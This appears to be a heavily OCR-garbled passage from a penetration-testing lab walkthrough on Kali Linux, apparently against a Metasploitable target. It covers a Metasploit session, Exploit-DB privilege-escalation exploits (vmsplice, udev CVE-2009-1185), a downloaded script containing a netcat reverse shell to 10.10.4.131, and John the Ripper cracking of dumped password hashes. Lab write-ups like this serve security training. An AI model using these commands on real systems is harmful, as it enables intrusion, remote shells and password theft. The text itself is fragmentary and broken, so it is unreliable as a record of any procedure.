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Step 3. Priviledge Escalation



kali@kali: ~

File Actions Edit View Help
220 exploit/linux/http/php_imap_opi
php imap_open Remote Code
prestashop

suitecrm

H

ploit/liny d o
ptrace Sudo Token Privilege Escalation

Interact with a module by name or index. For example

msf6 post(

You ha
f6 pos
Act
Name Information Connection
cmd/unix 10.10.4.131:4444 — 10.10.4.20:41501 (10.10.
msf6 post( essions -i 1
Starting int ion with 1
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
00/ 3 0.C
0.4.131:8000/jaakko.c
connected.
00 OK
100% 2.22 mB/s
0 Jul 14
096 Apr 24 0
daemon 770 Mar 27 03:51 jaakko.
drwx dmin msfadmin 4096 Apr o

-0 jaakkoC jaakko.c

Jul 14 2 .jsve_up
Apr 24 06:25 gconfd-msfadmin
daemon Mar 27 03 kko.
daemon pr 25 05:31 jaakkoC
25 orbit-msfadmin

jaakko
e /bin/bash” >> jaakko
jaakko

#1/bin/bash
nc 10.10.4.131 9999 -e /bin/b

linux/local/5093.c

Exploit Title

- ‘vmsplice’ Local Privilege Escalatio |

/linux/local/5093.c /home/kali/
cannot stat '/linux/local/5093.c

No such file or directory

~/linux/local/5093.c /home/kali/

kali/linux/local/5093.c': No such file or directory

cp: cannot stat '/hom:

/usr/share/

loitdb/linux/local/5093.c /home/kali/
cp: cannot stat '/usr/share/exploitdb/linux/local/5093.c

*: No such file or director

5093.c

/usr/share/exploitdb/exploits/linux/local/5093.c

/usr/share/exploitdb/exploits/linux/local/5093.c /home/kali/

exploits/Lini

Exploit: Linux Kernel 2.6 (Gentoo

ploit-db.com/exploits/857;

share/exploitdb/exploits/linux/local/8572.c
0, CVE-2009-1185

10/9.04) UDEV < 1.4.1 - Local Privilege

usr,
)

oL ASCII text
/home/kali/8572.c

jaakko.c

UP> mtu 65536 qdisc noqueue state UNKNOWN group default glen 1000

:00:00:00 brd 00
scope host lo
preferred 1ft fore
alid_lft forever preferred lft forever
DCAST , MULT > mtu 1500 qdisc fq_codel state UP group default ql.
29 FF:FF1FF: FFLFF
lobal dynamic n oute etho

4 brd
88448sec preferred_lft 68844

Step 4 Get Hashdump



usr/share/john/y .1st hashdump.txt

ed hash type "mdScrypt", but the string is also recognized as "md5c

sing default input encoding: UTF-8
Loaded 7 password hashes with 7 different salts (md5Scrypt, crypt(3) $1$% (and varia
ts 5 /128 AVX 4x3])
i 4 OpenMP threads
'q' or Ct to abort, almost any other key for status
3 1

1aft$%.

he "--show" option to display all of the cracked passwords reliably
sion completed.




